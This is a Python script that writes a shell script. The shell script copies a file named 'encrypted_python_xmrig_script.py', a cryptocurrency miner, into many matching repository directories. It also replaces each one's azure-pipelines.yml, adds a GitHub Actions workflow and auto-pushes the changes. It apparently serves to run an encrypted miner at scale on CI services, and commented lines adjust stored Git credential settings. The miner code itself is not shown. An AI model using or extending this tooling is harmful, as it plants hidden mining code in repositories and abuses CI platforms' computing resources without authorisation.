import os
#sed -i "s/must wait\.\")/\0\n    exit(1)/g" autocommit.py
#sed -i "s/credential.helper/--unset \0/g;s/ store//g" autopush.sh
def get_dirs():
    dirs = os.listdir(".")
    return [x for x in dirs if "james" in x and "deutschland" in x]

def get_subdirs(dirs):
    candidates = []
    for x in dirs:
        subdirs = os.listdir(x)
        subdirs = ["/".join([x,y]) for y in subdirs]
        subdirs = [y for y in subdirs if os.path.isdir(y)]
        candidates += subdirs
    return candidates

dirs = get_dirs()
subdirs = get_subdirs(dirs)
with open("change_autopush.sh", "w+") as f:
    for x in subdirs:
        f.write("echo working on {}\n".format(x))
        f.write("cp littlerepo9/autopush.sh {}/autopush.sh\n".format(x))
        f.write("cp littlerepo9/autocommit/autocommit.py {}/autocommit.py\n".format(x))
        f.write("cp littlerepo9/delta_time.sh {}/delta_time.sh\n".format(x))
        f.write("cp littlerepo9/autocommit/delta_time.py {}/autocommit/delta_time.py\n".format(x))
        main_script = "encrypted_python_xmrig_script.py"
        f.write("cp littlerepo9/{} {}/{}\n".format(main_script,x,main_script))
        f.write("bash -c \"cd {} && bash pull.sh\"\n".format(x))
        f.write("bash -c \"cd {} && rm azure-pipelines.yml\"\n".format(x))
        f.write("bash -c \"cd {} && git rm azure-pipelines.yml\"\n".format(x))
        f.write("bash -c \"cd {} && bash autopush.sh\"\n".format(x))
        main_script = "azure-pipelines.yml" # azure is disabled.
        f.write("cp littlerepo9/{} {}/{}\n".format(main_script,x,main_script))
        f.write("bash -c \"cd {} && bash autopush.sh\"\n".format(x))
        f.write("rm {}.sh\n".format(x))
        main_script = "python-publish.yml"
        f.write("mkdir -p {}/.github/workflows\n".format(x))
        f.write("cp littlerepo9/.github/workflows/{} {}/.github/workflows/{}\n".format(main_script,x,main_script))
        #f.write("sed -i \"s/credential.helper/--unset \\0/g;s/ store//g\" {}/autopush.sh\n".format(x))
#        f.write("sed -i \"s/must wait\\.\\\")/\\0\\n    exit(1)/g\" {}/autocommit/autocommit.py\n".format(x))
